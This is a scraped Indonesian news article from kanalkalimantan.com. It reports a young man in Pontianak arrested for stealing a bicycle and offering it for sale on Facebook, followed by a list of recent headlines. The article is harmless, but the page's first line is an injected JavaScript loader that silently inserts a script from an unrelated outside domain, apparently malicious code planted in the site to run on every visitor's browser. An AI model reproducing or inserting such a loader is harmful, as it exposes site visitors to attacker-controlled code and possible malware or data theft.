(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Pontianak

Curi Sepeda Lalu Tawarkan di Facebook, YS Apes Diciduk Polisi


KANALKALIMANTAN.COM, PONTIANAK – Curi sepeda, lalu tawarkan dijual di akun Facebook, pemuda di Pontianak ini langsung diciduk polisi.

Pria berinisial YS (20) ditangkap karena telah mencuri sepeda di Jalan Ya’m Sabran, Pontianak Timur  pada Jumat (14/8/2020). Belakangan YS menawarkan sepeda hasil curian itu pada akun Facebook milik.

Si pemilik sepeda ternyata melihat postingan sepeda yang ditawarkan akan dijual oleh YS. Lewat janjian ketemuaan langsung, YS dibekuk anggota Polsek Pontianak Timur.

Kanit Reskrim Polsek Pontianak Timur IPTU Asep Teddy mengatakan, mengamankan satu pria berinisial YS karena melakukan tindak pidana pencurian. YS (20) ditangkap lantaran telah mencuri sepeda di Jalan Ya’m Sabran Pontianak Timur  pada Jumat (14/8/2020).

Penangkapan YS, berawal dari korban yang melapor sepeda jenis MTB miliknya raib dari dalam rumah.

YS berhasil ditangkap setelah korban menemukan sebuah akun facebook yang memposting sepeda milik korban.

Postingan di Facebook itu ditelusuri anggota Polsek Pontianak Timur bersama pelapor yang berpura-pura ingin membeli sepeda tersebut. Bersama polisi, korban mengajak ketemuan YS yang memposting sepeda itu.

“Setelah bertemu dan mengecek kondisi sepeda itu dan benar milik pelapor. Anggota Reskrim Polsek Pontianak Timur langsung mengamankan pemegang akun Facebook tersebut guna menjalani proses lebih lanjut,” ujar Kapolsek Pontianak Timur, Senin (18/8/2020) malam.

Akibat dari kejadian tersebut  pelapor mengalami kerugian hingga Rp 3.100.000. Sementara pelaku YS dikenakan pasal 363 KUHP.

Barang bukti yang berhasil diamankan, satu unit sepeda merk inter berwarna merah hitam dan satu uni HP merk Redmi berwarna hitam

Ditambahkan Kasi Humas Polsek Pontianak Timur Iptu Iskak Pujiyanto bahwa pelaku YS merupakan residivis yang mendapat program asimilasi pada saat itu kasusnya ditangani Polsek Pontianak Utara. (kanalkalimantan.com/rls)

 

Reporter : rls
Editor : kk

Al Ghifari

Recent Posts

Pemkab Kapuas Gelar Forum Konsultasi Publik RPJMD 2025–2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas menggelar forum konsultasi publik terkait rencana awal… Read More

4 jam ago

Puncak Hari Jadi ke-26 Kota Banjarbaru Dihadiri Wali Kota 2000-2005 Rudy Resnawan

Pj Wali Kota : Sangat Beruntung Kota Banjarbaru Mempunyai Pendahulu yang Visioner dan Inovatif Read More

7 jam ago

Widya Dewi, Penyuluh Pertanian Asal HSU Raih Penghargaan dari Mentan RI

KANALKALIMANTAN.COM, JAKARTA - Widya Dewi, penyuluh pertanian asal Kabupaten Hulu Sungai Utara (HSU) Kalimantan Selatan… Read More

8 jam ago

Ribuan Orang Hadiri Haul KH Ahmad Hudhori di Martapura Timur

KANALKALIMANTAN.COM, MARTAPURA - Wakil Bupati Banjar Habib Idrus Al Habsyi beserta alim ulama, habaib dan… Read More

11 jam ago

Pemkab Banjar Raih Penghargaan sebagai Penyelenggara Pemerintahan Daerah dengan Kinerja Tinggi

KANALKALIMANTAN.COM, JAKARTA - Prestasi demi prestasi ditorehkan Pemkab Banjar di bawah kepemimpinan H Saidi Mansyur… Read More

13 jam ago

TOP 10 MasterChef Indonesia Season 12 Siap Menghadirkan Tantangan Para Kontestan!

KANALKALIMANTAN.COM - Di Minggu ini, kita akan bertemu kembali dengan 10 besar kontestan MasterChef Indonesia… Read More

15 jam ago